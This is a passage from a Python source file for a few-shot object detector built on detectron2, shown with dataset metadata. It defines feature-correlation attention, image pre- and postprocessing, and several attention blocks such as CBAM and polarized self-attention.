self.support_pool_3x1(support_features_p5_pool)\n            \n            pos_correlation_p5_1_1 = F.relu(F.conv2d(query_feature_p5, support_pool_p5_1x1.permute(1,0,2,3),padding=(0, 0), groups=128)) # attention map\n            pos_correlation_p5_1_2 = F.relu(F.conv2d(pos_correlation_p5_1_1, support_pool_p5_1x1.permute(1,0,2,3),padding=(0, 0), groups=128))\n            \n            pos_correlation_p5_2_1 = F.relu(F.conv2d(query_feature_p5, support_pool_p5_1x3.permute(1,0,2,3),padding=(0, 1), groups=128))\n            pos_correlation_p5_2_2 = F.relu(F.conv2d(pos_correlation_p5_2_1, support_pool_p5_3x1.permute(1,0,2,3),padding=(1, 0), groups=128))\n            \n            attn3 = pos_correlation_p5_1_2 + pos_correlation_p5_2_2  + query_feature_p5\n            attn3 = F.relu(self.conv3(torch.cat((attn3,query_feature_p5),1)))#+torch.cat((self.conv1(attn3),self.conv2(query_feature_p5)),1)\n            # Have_a_Look(query_feature_p4,4)\n        support_features_pooler_rcnn = []    \n        # support_features_rcnn_12 = self.support_dict['rcnn_12'][cls_id]\n        support_features_rcnn_8 = self.support_dict['rcnn_8'][cls_id]\n        support_features_rcnn_4 = self.support_dict['rcnn_4'][cls_id]\n        support_features_pooler_rcnn = [support_features_rcnn_8,support_features_rcnn_4] \n\n        pos_features = {'p3': attn1,'p4': attn2,'p5': attn3} # attention map for attention rpn\n        \n        del attn1\n        del attn2\n        del attn3\n        del query_feature_p3\n        del query_feature_p4\n        del query_feature_p5\n\n        \n        proposals, _ = self.proposal_generator(query_images, pos_features, None)\n        \n        results, _ = self.roi_heads(query_images, features,support_features_pooler_rcnn, proposals, None)\n        if do_postprocess:\n            assert not torch.jit.is_scripting(), \"Scripting is not supported for postprocess.\"\n            return CenterNet2Detector._postprocess(results, batched_inputs, images.image_sizes)\n        else:\n            return results\n        \n        \n        \n        \n\n    def preprocess_image(self, batched_inputs):\n        \"\"\"\n        Normalize, pad and batch the input images.\n        \"\"\"\n        images = [x[\"image\"].to(self.device) for x in batched_inputs]\n        images = [(x - self.pixel_mean) / self.pixel_std for x in images]\n        images = ImageList.from_tensors(images, self.backbone.size_divisibility)\n        if self.training:\n            # support images\n            support_images = [x['support_images'].to(self.device) for x in batched_inputs]\n            support_images = [(x - self.pixel_mean) / self.pixel_std for x in support_images]\n            support_images = ImageList.from_tensors(support_images, self.backbone.size_divisibility)\n\n            return images, support_images\n        else:\n            return images\n\n    @staticmethod\n    def _postprocess(instances, batched_inputs, image_sizes):\n        \"\"\"\n        Rescale the output instances to the target size.\n        \"\"\"\n        # note: private function; subject to changes\n        processed_results = []\n        for results_per_image, input_per_image, image_size in zip(\n            instances, batched_inputs, image_sizes\n        ):\n            height = input_per_image.get(\"height\", image_size[0])\n            width = input_per_image.get(\"width\", image_size[1])\n            r = detector_postprocess(results_per_image, height, width)\n            processed_results.append({\"instances\": r})\n        return processed_results\n\nclass MLP(nn.Module):\n    def __init__(self,in_features,hidden_features,out_features,act_layer=nn.GELU,drop=0.1):\n        super().__init__()\n        self.fc1=nn.Linear(in_features,hidden_features)\n        self.act=act_layer()\n        self.fc2=nn.Linear(hidden_features,out_features)\n        self.drop=nn.Dropout(drop)\n\n    def forward(self, x) :\n        return self.drop(self.fc2(self.drop(self.act(self.fc1(x)))))\n\nclass SM_Block(nn.Module):\n    def __init__(self,dim,seg_dim=8, qkv_bias=False, proj_drop=0.):\n        super().__init__()\n        self.seg_dim=seg_dim\n\n        # self.mlp_c=nn.Linear(dim,dim,bias=qkv_bias)\n        self.mlp_h=nn.Linear(dim,dim,bias=qkv_bias)\n        self.mlp_w=nn.Linear(dim,dim,bias=qkv_bias)\n\n        self.reweighting=MLP(dim,dim//2,dim*2)\n\n        self.proj=nn.Linear(dim,dim)\n        self.proj_drop=nn.Dropout(proj_drop)\n    \n    def forward(self,x) :\n        B,H,W,C=x.shape\n        \n\n        # c_embed=self.mlp_c(x)\n\n        S=C//self.seg_dim\n        h_embed=x.reshape(B,H,W,self.seg_dim,S)\n        # print(x.shape)\n        h_embed=h_embed.permute(0,3,2,1,4)\n        # print(h_embed.shape)\n        h_embed=h_embed.reshape(B,self.seg_dim,W,H*S)\n        # print(h_embed.shape)\n        # print('###')\n        h_embed=self.mlp_h(h_embed)\n        h_embed=h_embed.reshape(B,self.seg_dim,W,H,S)\n        # print(h_embed.shape)\n        h_embed=h_embed.permute(0,3,2,1,4).reshape(B,H,W,C)\n        # print(h_embed.shape)\n        w_embed=x.reshape(B,H,W,self.seg_dim,S).permute(0,3,1,2,4).reshape(B,self.seg_dim,H,W*S)\n        w_embed=self.mlp_w(w_embed).reshape(B,self.seg_dim,H,W,S).permute(0,2,3,1,4).reshape(B,H,W,C)\n        # print((c_embed+h_embed+w_embed).shape)\n        weight=(h_embed+w_embed).permute(0,3,1,2).flatten(2).mean(2)\n        # print(weight.shape)\n        weight=self.reweighting(weight).reshape(B,C,2)\n        # print(weight.shape)\n        weight=weight.permute(2,0,1).softmax(0).unsqueeze(2).unsqueeze(2)\n        \n        x=w_embed*weight[0]+h_embed*weight[1]\n\n        x=self.proj_drop(self.proj(x))\n\n        return x\n\n\n\n\n\n\n\nclass CoTAttention(nn.Module):\n\n    def __init__(self, dim=512,kernel_size=3):\n        super().__init__()\n        self.dim=dim\n        self.kernel_size=kernel_size\n\n        self.key_embed=nn.Sequential(\n            nn.Conv2d(dim,dim,kernel_size=kernel_size,padding=kernel_size//2,groups=4,bias=False),\n            nn.BatchNorm2d(dim),\n            nn.ReLU()\n        )\n        self.value_embed=nn.Sequential(\n            nn.Conv2d(dim,dim,1,bias=False),\n            nn.BatchNorm2d(dim)\n        )\n\n        factor=4\n        self.attention_embed=nn.Sequential(\n            nn.Conv2d(2*dim,2*dim//factor,1,bias=False),\n            nn.BatchNorm2d(2*dim//factor),\n            nn.ReLU(),\n            nn.Conv2d(2*dim//factor,kernel_size*kernel_size*dim,1)\n        )\n\n\n    def forward(self, x):\n        bs,c,h,w=x.shape\n        k1=self.key_embed(x) #bs,c,h,w\n        v=self.value_embed(x).view(bs,c,-1) #bs,c,h,w\n\n        y=torch.cat([k1,x],dim=1) #bs,2c,h,w\n        att=self.attention_embed(y) #bs,c*k*k,h,w\n        att=att.reshape(bs,c,self.kernel_size*self.kernel_size,h,w)\n        att=att.mean(2,keepdim=False).view(bs,c,-1) #bs,c,h*w\n        k2=F.softmax(att,dim=-1)*v\n        k2=k2.view(bs,c,h,w)\n\n\n        return k1+k2\n    \n\n\n\n\nclass ParallelPolarizedSelfAttention(nn.Module):\n\n    def __init__(self, channel=512):\n        super().__init__()\n        self.ch_wv=nn.Conv2d(channel,channel//2,kernel_size=(1,1))\n        self.ch_wq=nn.Conv2d(channel,1,kernel_size=(1,1))\n        self.softmax_channel=nn.Softmax(1)\n        self.softmax_spatial=nn.Softmax(-1)\n        self.ch_wz=nn.Conv2d(channel//2,channel,kernel_size=(1,1))\n        self.ln=nn.LayerNorm(channel)\n        self.sigmoid=nn.Sigmoid()\n        self.sp_wv=nn.Conv2d(channel,channel//2,kernel_size=(1,1))\n        self.sp_wq=nn.Conv2d(channel,channel//2,kernel_size=(1,1))\n        self.agp=nn.AdaptiveAvgPool2d((1,1))\n\n    def forward(self, x):\n        b, c, h, w = x.size()\n\n        #Channel-only Self-Attention\n        channel_wv=self.ch_wv(x) #bs,c//2,h,w\n        channel_wq=self.ch_wq(x) #bs,1,h,w\n        channel_wv=channel_wv.reshape(b,c//2,-1) #bs,c//2,h*w\n        channel_wq=channel_wq.reshape(b,-1,1) #bs,h*w,1\n        channel_wq=self.softmax_channel(channel_wq)\n        channel_wz=torch.matmul(channel_wv,channel_wq).unsqueeze(-1) #bs,c//2,1,1\n        channel_weight=self.sigmoid(self.ln(self.ch_wz(channel_wz).reshape(b,c,1).permute(0,2,1))).permute(0,2,1).reshape(b,c,1,1) #bs,c,1,1\n        channel_out=channel_weight*x\n\n        #Spatial-only Self-Attention\n        spatial_wv=self.sp_wv(x) #bs,c//2,h,w\n        spatial_wq=self.sp_wq(x) #bs,c//2,h,w\n        spatial_wq=self.agp(spatial_wq) #bs,c//2,1,1\n        spatial_wv=spatial_wv.reshape(b,c//2,-1) #bs,c//2,h*w\n        spatial_wq=spatial_wq.permute(0,2,3,1).reshape(b,1,c//2) #bs,1,c//2\n        spatial_wq=self.softmax_spatial(spatial_wq)\n        spatial_wz=torch.matmul(spatial_wq,spatial_wv) #bs,1,h*w\n        spatial_weight=self.sigmoid(spatial_wz.reshape(b,1,h,w)) #bs,1,h,w\n        spatial_out=spatial_weight*x\n        out=spatial_out+channel_out\n        return out\n    \n\n\nclass ChannelAttention(nn.Module):\n    def __init__(self,channel,reduction=16):\n        super().__init__()\n        self.maxpool=nn.AdaptiveMaxPool2d(1)\n        self.avgpool=nn.AdaptiveAvgPool2d(1)\n        self.se=nn.Sequential(\n            nn.Conv2d(channel,channel//reduction,1,bias=False),\n            nn.ReLU(),\n            nn.Conv2d(channel//reduction,channel,1,bias=False)\n        )\n        self.sigmoid=nn.Sigmoid()\n    \n    def forward(self, x) :\n        max_result=self.maxpool(x)\n        avg_result=self.avgpool(x)\n        max_out=self.se(max_result)\n        avg_out=self.se(avg_result)\n        output=self.sigmoid(max_out+avg_out)\n        return output\n\nclass SpatialAttention(nn.Module):\n    def __init__(self,kernel_size=7):\n        super().__init__()\n        self.conv=nn.Conv2d(2,1,kernel_size=kernel_size,padding=kernel_size//2)\n        self.sigmoid=nn.Sigmoid()\n    \n    def forward(self, x) :\n        max_result,_=torch.max(x,dim=1,keepdim=True)\n        avg_result=torch.mean(x,dim=1,keepdim=True)\n        result=torch.cat([max_result,avg_result],1)\n        output=self.conv(result)\n        output=self.sigmoid(output)\n        return output\n\n\n\nclass CBAMBlock(nn.Module):\n\n    def __init__(self, channel=512,reduction=16,kernel_size=49):\n        super().__init__()\n        self.ca=ChannelAttention(channel=channel,reduction=reduction)\n        self.sa=SpatialAttention(kernel_size=kernel_size)\n\n\n    def init_weights(self):\n        for m in self.modules():\n            if isinstance(m, nn.Conv2d):\n                init.kaiming_normal_(m.weight, mode='fan_out')\n                if m.bias is not None:\n                    init.constant_(m.bias, 0)\n            elif isinstance(m, nn.BatchNorm2d):\n                init.constant_(m.weight, 1)\n                init.constant_(m.bias, 0)\n            elif isinstance(m, nn.Linear):\n                init.normal_(m.weight, std=0.001)\n                if m.bias is not None:\n                    init.constant_(m.bias, 0)\n\n    def forward(self, x):\n        b, c, _, _ = x.size()\n        residual=x\n        out=x*self.ca(x)\n        out=out*self.sa(out)\n        return out+residual\n", "repo_name": "MVME-HBUT/Faster-OreFSDet", "sub_path": "fewx/modeling/fsod/fsod_cen.py", "file_name": "fsod_cen.py", "file_ext": "py", "file_size_in_byte": 37336, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 7, "dataset": "github-code", "pt": "78", "api": [{"api_name": "torch.nn.Module", "line_number": 38, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 38, "usage_type": "name"}, {"api_name": "detectron2.modeling.backbone.build_backbone", "line_number": 49, "usage_type": "call"}, {"api_name": "detectron2.modeling.proposal_generator.build_proposal_generator", "line_number": 50, "usage_type": "call"}, {"api_name": "fsod_roi_heads.build_roi_heads", "line_number": 51, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 56, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 57, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 63, "usage_type": "call"}, {"api_name": "torch.nn.AdaptiveAvgPool2d", "line_number": 65, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 65, "usage_type": "name"}, {"api_name": "torch.nn.AdaptiveAvgPool2d", "line_number": 66, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 66, "usage_type": "name"}, {"api_name": "torch.nn.AdaptiveAvgPool2d", "line_number": 67, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 67, "usage_type": "name"}, {"api_name": "torch.nn.AdaptiveAvgPool2d", "line_number": 71, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 71, "usage_type": "name"}, {"api_name": "torch.nn.AdaptiveAvgPool2d", "line_number": 73, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 73, "usage_type": "name"}, {"api_name": "torch.nn.AdaptiveAvgPool2d", "line_number": 74, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 74, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 75, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 75, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 76, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 76, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 77, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 77, "usage_type": "name"}, {"api_name": "detectron2.utils.events.get_event_storage", "line_number": 107, "usage_type": "call"}, {"api_name": "detectron2.data.detection_utils.convert_image_to_rgb", "line_number": 112, "usage_type": "call"}, {"api_name": "detectron2.utils.visualizer.Visualizer", "line_number": 113, "usage_type": "call"}, {"api_name": "detectron2.utils.visualizer.Visualizer", "line_number": 117, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 122, "usage_type": "call"}, {"api_name": "torch.full_like", "line_number": 158, "usage_type": "call"}, {"api_name": "detectron2.structures.Boxes", "line_number": 170, "usage_type": "call"}, {"api_name": "numpy.newaxis", "line_number": 170, "usage_type": "attribute"}, {"api_name": "detectron2.structures.ImageList.from_tensors", "line_number": 199, "usage_type": "call"}, {"api_name": "detectron2.structures.ImageList", "line_number": 199, "usage_type": "name"}, {"api_name": "torch.nn.functional.relu", "line_number": 234, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 234, "usage_type": "name"}, {"api_name": "torch.nn.functional.conv2d", "line_number": 234, "usage_type": "call"}, {"api_name": "torch.nn.functional.relu", "line_number": 235, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 235, "usage_type": "name"}, {"api_name": "torch.nn.functional.conv2d", "line_number": 235, "usage_type": "call"}, {"api_name": "torch.nn.functional.relu", "line_number": 237, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 237, "usage_type": "name"}, {"api_name": "torch.nn.functional.conv2d", "line_number": 237, "usage_type": "call"}, {"api_name": "torch.nn.functional.relu", "line_number": 238, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 238, "usage_type": "name"}, {"api_name": "torch.nn.functional.conv2d", "line_number": 238, "usage_type": "call"}, {"api_name": "torch.nn.functional.relu", "line_number": 243, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 243, "usage_type": "name"}, {"api_name": "torch.cat", "line_number": 243, "usage_type": "call"}, {"api_name": "torch.nn.functional.relu", "line_number": 252, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 252, "usage_type": "name"}, {"api_name": "torch.nn.functional.conv2d", "line_number": 252, "usage_type": "call"}, {"api_name": "torch.nn.functional.relu", "line_number": 253, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 253, "usage_type": "name"}, {"api_name": "torch.nn.functional.conv2d", "line_number": 253, "usage_type": "call"}, {"api_name": "torch.nn.functional.relu", "line_number": 255, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 255, "usage_type": "name"}, {"api_name": "torch.nn.functional.conv2d", "line_number": 255, "usage_type": "call"}, {"api_name": "torch.nn.functional.relu", "line_number": 256, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 256, "usage_type": "name"}, {"api_name": "torch.nn.functional.conv2d", "line_number": 256, "usage_type": "call"}, {"api_name": "torch.nn.functional.relu", "line_number": 259, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 259, "usage_type": "name"}, {"api_name": "torch.cat", "line_number": 259, "usage_type": "call"}, {"api_name": "torch.nn.functional.relu", "line_number": 267, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 267, "usage_type": "name"}, {"api_name": "torch.nn.functional.conv2d", "line_number": 267, "usage_type": "call"}, {"api_name": "torch.nn.functional.relu", "line_number": 268, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 268, "usage_type": "name"}, {"api_name": "torch.nn.functional.conv2d", "line_number": 268, "usage_type": "call"}, {"api_name": "torch.nn.functional.relu", "line_number": 270, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 270, "usage_type": "name"}, {"api_name": "torch.nn.functional.conv2d", "line_number": 270, "usage_type": "call"}, {"api_name": "torch.nn.functional.relu", "line_number": 271, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 271, "usage_type": "name"}, {"api_name": "torch.nn.functional.conv2d", "line_number": 271, "usage_type": "call"}, {"api_name": "torch.nn.functional.relu", "line_number": 274, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 274, "usage_type": "name"}, {"api_name": "torch.cat", "line_number": 274, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 316, "usage_type": "call"}, {"api_name": "os.path", "line_number": 316, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 317, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 319, "usage_type": "call"}, {"api_name": "os.path", "line_number": 319, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 320, "usage_type": "call"}, {"api_name": "os.path", "line_number": 320, "usage_type": "attribute"}, {"api_name": "pandas.read_pickle", "line_number": 322, "usage_type": "call"}, {"api_name": "detectron2.data.catalog.MetadataCatalog.get", "line_number": 324, "usage_type": "call"}, {"api_name": "detectron2.data.catalog.MetadataCatalog", "line_number": 324, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 337, "usage_type": "call"}, {"api_name": "os.path", "line_number": 337, "usage_type": "attribute"}, {"api_name": "detectron2.data.detection_utils.read_image", "line_number": 338, "usage_type": "call"}, {"api_name": "detectron2.data.detection_utils", "line_number": 338, "usage_type": "name"}, {"api_name": "torch.as_tensor", "line_number": 339, "usage_type": "call"}, {"api_name": "numpy.ascontiguousarray", "line_number": 339, "usage_type": "call"}, {"api_name": "detectron2.structures.Boxes", "line_number": 343, "usage_type": "call"}, {"api_name": "detectron2.structures.ImageList.from_tensors", "line_number": 349, "usage_type": "call"}, {"api_name": "detectron2.structures.ImageList", "line_number": 349, "usage_type": "name"}, {"api_name": "pickle.dump", "line_number": 404, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 407, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 411, "usage_type": "call"}, {"api_name": "detectron2.structures.ImageList.from_tensors", "line_number": 441, "usage_type": "call"}, {"api_name": "detectron2.structures.ImageList", "line_number": 441, "usage_type": "name"}, {"api_name": "torch.nn.functional.relu", "line_number": 462, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 462, "usage_type": "name"}, {"api_name": "torch.nn.functional.conv2d", "line_number": 462, "usage_type": "call"}, {"api_name": "torch.nn.functional.relu", "line_number": 463, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 463, "usage_type": "name"}, {"api_name": "torch.nn.functional.conv2d", "line_number": 463, "usage_type": "call"}, {"api_name": "torch.nn.functional.relu", "line_number": 465, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 465, "usage_type": "name"}, {"api_name": "torch.nn.functional.conv2d", "line_number": 465, "usage_type": "call"}, {"api_name": "torch.nn.functional.relu", "line_number": 466, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 466, "usage_type": "name"}, {"api_name": "torch.nn.functional.conv2d", "line_number": 466, "usage_type": "call"}, {"api_name": "torch.nn.functional.relu", "line_number": 469, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 469, "usage_type": "name"}, {"api_name": "torch.cat", "line_number": 469, "usage_type": "call"}, {"api_name": "torch.nn.functional.relu", "line_number": 481, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 481, "usage_type": "name"}, {"api_name": "torch.nn.functional.conv2d", "line_number": 481, "usage_type": "call"}, {"api_name": "torch.nn.functional.relu", "line_number": 482, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 482, "usage_type": "name"}, {"api_name": "torch.nn.functional.conv2d", "line_number": 482, "usage_type": "call"}, {"api_name": "torch.nn.functional.relu", "line_number": 484, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 484, "usage_type": "name"}, {"api_name": "torch.nn.functional.conv2d", "line_number": 484, "usage_type": "call"}, {"api_name": "torch.nn.functional.relu", "line_number": 485, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 485, "usage_type": "name"}, {"api_name": "torch.nn.functional.conv2d", "line_number": 485, "usage_type": "call"}, {"api_name": "torch.nn.functional.relu", "line_number": 490, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 490, "usage_type": "name"}, {"api_name": "torch.cat", "line_number": 490, "usage_type": "call"}, {"api_name": "torch.nn.functional.relu", "line_number": 501, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 501, "usage_type": "name"}, {"api_name": "torch.nn.functional.conv2d", "line_number": 501, "usage_type": "call"}, {"api_name": "torch.nn.functional.relu", "line_number": 502, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 502, "usage_type": "name"}, {"api_name": "torch.nn.functional.conv2d", "line_number": 502, "usage_type": "call"}, {"api_name": "torch.nn.functional.relu", "line_number": 504, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 504, "usage_type": "name"}, {"api_name": "torch.nn.functional.conv2d", "line_number": 504, "usage_type": "call"}, {"api_name": "torch.nn.functional.relu", "line_number": 505, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 505, "usage_type": "name"}, {"api_name": "torch.nn.functional.conv2d", "line_number": 505, "usage_type": "call"}, {"api_name": "torch.nn.functional.relu", "line_number": 508, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 508, "usage_type": "name"}, {"api_name": "torch.cat", "line_number": 508, "usage_type": "call"}, {"api_name": "torch.jit.is_scripting", "line_number": 530, "usage_type": "call"}, {"api_name": "torch.jit", "line_number": 530, "usage_type": "attribute"}, {"api_name": "{'Visualizer': 'detectron2.utils.visualizer.Visualizer'}._postprocess", "line_number": 531, "usage_type": "call"}, {"api_name": "detectron2.structures.ImageList.from_tensors", "line_number": 545, "usage_type": "call"}, {"api_name": "detectron2.structures.ImageList", "line_number": 545, "usage_type": "name"}, {"api_name": "detectron2.structures.ImageList.from_tensors", "line_number": 550, "usage_type": "call"}, {"api_name": "detectron2.structures.ImageList", "line_number": 550, "usage_type": "name"}, {"api_name": "detectron2.modeling.postprocessing.detector_postprocess", "line_number": 568, "usage_type": "call"}, {"api_name": "detectron2.modeling.meta_arch.build.META_ARCH_REGISTRY.register", "line_number": 37, "usage_type": "call"}, {"api_name": "detectron2.modeling.meta_arch.build.META_ARCH_REGISTRY", "line_number": 37, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 572, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 572, "usage_type": "name"}, {"api_name": "torch.nn.GELU", "line_number": 573, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 573, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 575, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 575, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 577, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 577, "usage_type": "name"}, {"api_name": "torch.nn.Dropout", "line_number": 578, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 578, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 583, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 583, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 589, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 589, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 590, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 590, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 594, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 594, "usage_type": "name"}, {"api_name": "torch.nn.Dropout", "line_number": 595, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 595, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 637, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 637, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 644, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 644, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 645, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 645, "usage_type": "name"}, {"api_name": "torch.nn.BatchNorm2d", "line_number": 646, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 646, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 647, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 647, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 649, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 649, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 650, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 650, "usage_type": "name"}, {"api_name": "torch.nn.BatchNorm2d", "line_number": 651, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 651, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 655, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 655, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 656, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 656, "usage_type": "name"}, {"api_name": "torch.nn.BatchNorm2d", "line_number": 657, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 657, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 658, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 658, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 659, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 659, "usage_type": "name"}, {"api_name": "torch.cat", "line_number": 668, "usage_type": "call"}, {"api_name": "torch.nn.functional.softmax", "line_number": 672, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 672, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 682, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 682, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 686, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 686, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 687, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 687, "usage_type": "name"}, {"api_name": "torch.nn.Softmax", "line_number": 688, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 688, "usage_type": "name"}, {"api_name": "torch.nn.Softmax", "line_number": 689, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 689, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 690, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 690, "usage_type": "name"}, {"api_name": "torch.nn.LayerNorm", "line_number": 691, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 691, "usage_type": "name"}, {"api_name": "torch.nn.Sigmoid", "line_number": 692, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 692, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 693, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 693, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 694, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 694, "usage_type": "name"}, {"api_name": "torch.nn.AdaptiveAvgPool2d", "line_number": 695, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 695, "usage_type": "name"}, {"api_name": "torch.matmul", "line_number": 706, "usage_type": "call"}, {"api_name": "torch.matmul", "line_number": 717, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 725, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 725, "usage_type": "name"}, {"api_name": "torch.nn.AdaptiveMaxPool2d", "line_number": 728, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 728, "usage_type": "name"}, {"api_name": "torch.nn.AdaptiveAvgPool2d", "line_number": 729, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 729, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 730, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 730, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 731, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 731, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 732, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 732, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 733, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 733, "usage_type": "name"}, {"api_name": "torch.nn.Sigmoid", "line_number": 735, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 735, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 745, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 745, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 748, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 748, "usage_type": "name"}, {"api_name": "torch.nn.Sigmoid", "line_number": 749, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 749, "usage_type": "name"}, {"api_name": "torch.max", "line_number": 752, "usage_type": "call"}, {"api_name": "torch.mean", "line_number": 753, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 754, "usage_type": "call"}, 